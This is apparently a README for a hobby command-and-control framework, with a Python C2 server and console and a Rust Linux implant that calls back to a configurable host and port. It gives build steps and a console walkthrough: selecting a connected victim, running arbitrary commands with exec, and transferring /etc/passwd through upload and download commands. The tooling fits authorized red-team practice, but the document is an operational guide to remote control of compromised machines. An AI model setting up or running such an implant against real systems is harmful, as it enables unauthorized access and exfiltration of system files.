C2 framework written in python3 and a linux implant written in Rust
pip3 install rich cmd2 pycryptodome
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
cd Ghost-Implant && cargo build
By default it calls back to 127.0.0.1:4444 you can change this in the code, I will automate this eventually...
If you are interested in cross compiling check out this cross compiler for rust
python3 c2.py --ip 127.0.0.1 --port 4444
the ip flag is what interface the c2 will be listening on and the port is what port the implant will be calling back to, by default the implant calls back to 4444 and the "control port" that the console connects to is 10000
python3 console.py
(Disconnected):
(Disconnected): connect --ip 127.0.0.1
(Connected):
At this point you are waiting for implant connections to the C2, you will get a notification when there is a new connection
New Client: 1
get_clients
select 1
(ubuntu):
Now you can run commands to interact with the implant, right now there is only a few but I will be adding more
(ubuntu): ps
(ubuntu): exec ls -l /tmp
(ubuntu): upload --source /etc/passwd --destination /tmp/passwd
(ubuntu): download --source /etc/passwd --destination /tmp/passwd
** There is some random commands that I've been using for testing, I will clean them up in the future **